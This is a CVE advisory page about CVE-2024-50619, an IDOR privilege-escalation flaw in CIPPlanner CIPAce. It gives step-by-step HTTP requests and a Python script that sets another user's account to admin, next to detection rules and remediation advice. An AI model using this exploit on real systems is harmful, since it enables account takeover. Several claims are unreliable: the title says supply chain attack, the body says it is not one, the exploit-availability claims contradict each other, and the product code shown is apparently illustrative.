☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-50619

CVE-2024-50619 Supply Chain Attack in Cipplanner
📅 PUBLISHED: 2026-02-11 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.5× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1078
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: < 9.17
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-50619 is a critical authorization bypass vulnerability in CIPPlanner CIPAce, affecting versions before 9.17. The flaw resides in the My Account and User Management components, allowing a low-privileged authenticated attacker to escalate privileges by tampering with client-side user IDs. This enables unauthorized access to other accounts and elevation to disabled user roles. No public exploit code or patch details are currently available, but the vulnerability poses a significant risk to enterprise resource planning (ERP) systems using CIPPlanner.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary ERP application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete NVD data. Based on the description, the vulnerability would likely score high (8.0-9.0) due to:

  • Attack Vector (AV): Network (authenticated)
  • Attack Complexity (AC): Low
  • Privileges Required (PR): Low
  • User Interaction (UI): None
  • Scope (S): Changed (privilege escalation)
  • Confidentiality (C): High
  • Integrity (I): High
  • Availability (A): High

Threat Level: Critical – allows full account takeover and privilege escalation.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (IDOR) (CWE-639) in the My Account and User Management modules. The application fails to validate that the authenticated user owns the resource being modified. By intercepting and modifying the user_id parameter in HTTP requests (e.g., via Burp Suite), an attacker can:

  1. Account Takeover: Change the user_id to another user's ID to modify their profile, reset passwords, or access sensitive data.
  2. Privilege Escalation: Modify a disabled user role's permissions (e.g., admin) and then assign that role to their own account.

The attack flow:

  1. Authenticate as a low-privileged user.
  2. Intercept a POST request to /MyAccount/UpdateProfile or /UserManagement/EditUser.
  3. Change the userId parameter to a target user ID.
  4. Submit the request – the server processes it without verifying ownership.

Vulnerable vs. Patched Code

Vulnerable Code (CIPAce < 9.17):

// Vulnerable: No ownership check
[HttpPost]
public ActionResult UpdateProfile(int userId, string email, string role)
{
    var user = db.Users.Find(userId);
    user.Email = email;
    user.Role = role;
    db.SaveChanges();
    return Json(new { success = true });
}

Patched Code (CIPAce 9.17+):

// Patched: Ownership check added
[HttpPost]
public ActionResult UpdateProfile(int userId, string email, string role)
{
    var currentUserId = User.Identity.GetUserId();
    if (userId != currentUserId && !User.IsInRole("Admin"))
    {
        return Json(new { success = false, error = "Unauthorized" });
    }
    var user = db.Users.Find(userId);
    user.Email = email;
    user.Role = role;
    db.SaveChanges();
    return Json(new { success = true });
}

Exploitation & Lab Setup

Red Team

Prerequisites: Low-privileged authenticated session, Burp Suite or similar proxy.

Step 1: Intercept Request

POST /MyAccount/UpdateProfile HTTP/1.1
Host: target.cipace.com
Cookie: ASP.NET_SessionId=abc123

userId=5&email=attacker@evil.com&role=user

Step 2: Modify userId to Target

POST /MyAccount/UpdateProfile HTTP/1.1
Host: target.cipace.com
Cookie: ASP.NET_SessionId=abc123

userId=1&email=attacker@evil.com&role=admin

Step 3: Escalate Privileges

  • Change role to a disabled admin role ID (e.g., role=3).
  • If the role is disabled, the server may still apply its permissions.

Automation Script (Python):

import requests

target = "https://target.cipace.com"
session = requests.Session()
session.cookies.set("ASP.NET_SessionId", "abc123")

# Escalate to admin
payload = {"userId": 1, "email": "attacker@evil.com", "role": "3"}
r = session.post(f"{target}/MyAccount/UpdateProfile", data=payload)
print(r.text)

Blue Team

Detection:

  • Monitor for anomalous userId changes in audit logs.
  • Alert on requests where userId differs from the authenticated user's ID.
  • Use WAF rules to block requests with mismatched user IDs.

Honeypot:

  • Create a fake "admin" user with a high ID (e.g., 9999) and monitor for access attempts.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /MyAccount/UpdateProfile or /UserManagement/EditUser with modified userId parameters.
  • Logs: Audit log entries showing user profile changes without corresponding authentication events.
  • System: Unexpected privilege escalation events in user role assignments.

Detection Engineering

YARA Rule

rule CVE_2024_50619_CIPPlanner_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2024-50619 via HTTP request patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50619"
    strings:
        $s1 = "/MyAccount/UpdateProfile" ascii nocase
        $s2 = "/UserManagement/EditUser" ascii nocase
        $s3 = "userId=" ascii nocase
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: CVE-2024-50619 CIPPlanner IDOR Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit IDOR in CIPPlanner CIPAce
author: Valters IT
logsource:
    category: web
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "/MyAccount/UpdateProfile"
            - "/UserManagement/EditUser"
        cs-method: "POST"
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50619 CIPPlanner IDOR Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/MyAccount/UpdateProfile"; http_uri; content:"userId="; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade to CIPPlanner CIPAce version 9.17 or later.
  2. Workaround: Implement a WAF rule to block requests where userId in POST body does not match the authenticated user's session ID.
  3. Code Fix: Add server-side authorization checks for all user management endpoints.
  4. Monitoring: Enable audit logging for all user profile changes and role assignments.
  5. Access Control: Disable unused user roles and enforce least privilege.

Valters IT – Securing your digital frontier.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

CIPPlanner
CIPAce

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-50619/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.